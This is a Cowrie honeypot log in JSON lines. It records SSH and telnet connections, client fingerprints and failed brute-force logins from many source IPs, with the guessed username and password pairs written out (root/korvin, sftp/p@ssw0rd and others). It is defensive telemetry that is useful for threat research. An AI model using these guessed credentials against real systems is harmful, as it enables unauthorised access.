{"eventid":"cowrie.login.failed","username":"root","password":"korvin","message":"login attempt [root/korvin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:34:04.160922Z","src_ip":"103.27.238.116","session":"96ebd1e5b4fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:34:05.438655Z","src_ip":"103.27.238.116","session":"96ebd1e5b4fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.70.102.114","src_port":39404,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a68c1fce277","protocol":"ssh","message":"New connection: 154.70.102.114:39404 (10.17.0.5:22) [session: 3a68c1fce277]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:34:07.311837Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:34:07.315840Z","src_ip":"154.70.102.114","session":"3a68c1fce277","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:34:07.534973Z","src_ip":"154.70.102.114","session":"3a68c1fce277","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftp","password":"p@ssw0rd","message":"login attempt [sftp/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:34:08.433833Z","src_ip":"154.70.102.114","session":"3a68c1fce277","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:34:09.652187Z","src_ip":"154.70.102.114","session":"3a68c1fce277","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":33458,"dst_ip":"159.203.135.109","dst_port":22,"session":"7abeee4a59ae","protocol":"ssh","message":"New connection: 62.133.62.83:33458 (159.203.135.109:22) [session: 7abeee4a59ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:34:12.486119Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:34:12.490150Z","src_ip":"62.133.62.83","session":"7abeee4a59ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:34:12.571636Z","src_ip":"62.133.62.83","session":"7abeee4a59ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"05011984","message":"login attempt [root/05011984] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:34:12.822526Z","src_ip":"62.133.62.83","session":"7abeee4a59ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":49512,"dst_ip":"10.17.0.5","dst_port":22,"session":"59a89fb581e1","protocol":"ssh","message":"New connection: 103.27.238.120:49512 (10.17.0.5:22) [session: 59a89fb581e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:34:13.866312Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:34:13.870083Z","src_ip":"103.27.238.120","session":"59a89fb581e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:34:13.906461Z","src_ip":"62.133.62.83","session":"7abeee4a59ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:34:14.143957Z","src_ip":"103.27.238.120","session":"59a89fb581e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"301178","message":"login attempt [root/301178] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:34:14.967071Z","src_ip":"103.27.238.120","session":"59a89fb581e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.72.55.130","src_port":57746,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e20ef56758e","protocol":"ssh","message":"New connection: 61.72.55.130:57746 (10.17.0.5:22) [session: 6e20ef56758e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:34:16.200730Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:34:16.204125Z","src_ip":"61.72.55.130","session":"6e20ef56758e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:34:16.243773Z","src_ip":"103.27.238.120","session":"59a89fb581e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:34:16.404719Z","src_ip":"61.72.55.130","session":"6e20ef56758e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qwe456rty","message":"login attempt [root/123qwe456rty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:34:17.244750Z","src_ip":"61.72.55.130","session":"6e20ef56758e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.36.147.215","src_port":32932,"dst_ip":"10.17.0.5","dst_port":22,"session":"9fc03930ee23","protocol":"ssh","message":"New connection: 194.36.147.215:32932 (10.17.0.5:22) [session: 9fc03930ee23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:34:17.514569Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:34:17.518108Z","src_ip":"194.36.147.215","session":"9fc03930ee23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:34:17.606692Z","src_ip":"194.36.147.215","session":"9fc03930ee23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"starknet789","message":"login attempt [root/starknet789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:34:17.878037Z","src_ip":"194.36.147.215","session":"9fc03930ee23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:34:18.447701Z","src_ip":"61.72.55.130","session":"6e20ef56758e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:34:18.969980Z","src_ip":"194.36.147.215","session":"9fc03930ee23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":47012,"dst_ip":"159.203.135.109","dst_port":22,"session":"76c3787ee572","protocol":"ssh","message":"New connection: 80.66.85.226:47012 (159.203.135.109:22) [session: 76c3787ee572]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:34:26.966163Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:34:26.970182Z","src_ip":"80.66.85.226","session":"76c3787ee572","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:34:27.059258Z","src_ip":"80.66.85.226","session":"76c3787ee572","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"29011989","message":"login attempt [root/29011989] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:34:27.327032Z","src_ip":"80.66.85.226","session":"76c3787ee572","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:34:28.418931Z","src_ip":"80.66.85.226","session":"76c3787ee572","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":35202,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2d53a630062","protocol":"telnet","message":"New connection: 137.184.5.188:35202 (159.203.135.109:23) [session: e2d53a630062]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:34:50.416198Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.249.8","src_port":60300,"dst_ip":"159.203.135.109","dst_port":22,"session":"c75526812768","protocol":"ssh","message":"New connection: 162.144.249.8:60300 (159.203.135.109:22) [session: c75526812768]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:34:52.191191Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:34:52.197232Z","src_ip":"162.144.249.8","session":"c75526812768","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:34:52.220395Z","src_ip":"162.144.249.8","session":"c75526812768","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hedera","password":"hedera2024","message":"login attempt [hedera/hedera2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:34:52.289899Z","src_ip":"162.144.249.8","session":"c75526812768","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:34:53.315171Z","src_ip":"162.144.249.8","session":"c75526812768","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00443053245544,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:35:09.074042Z","src_ip":"137.184.5.188","session":"6c85e2a1d475","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"132.148.142.226","src_port":34992,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca143ab56bea","protocol":"ssh","message":"New connection: 132.148.142.226:34992 (10.17.0.5:22) [session: ca143ab56bea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:35:35.036999Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:35:35.311778Z","src_ip":"132.148.142.226","session":"ca143ab56bea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:35:35.314764Z","src_ip":"132.148.142.226","session":"ca143ab56bea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cz","password":"Binance$Tr0ng!P#ss99","message":"login attempt [cz/Binance$Tr0ng!P#ss99] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:35:36.479897Z","src_ip":"132.148.142.226","session":"ca143ab56bea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:35:37.564026Z","src_ip":"132.148.142.226","session":"ca143ab56bea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.1.75.59","src_port":56270,"dst_ip":"10.17.0.5","dst_port":22,"session":"62e1f6b5cb62","protocol":"ssh","message":"New connection: 198.1.75.59:56270 (10.17.0.5:22) [session: 62e1f6b5cb62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:35:56.033160Z"}
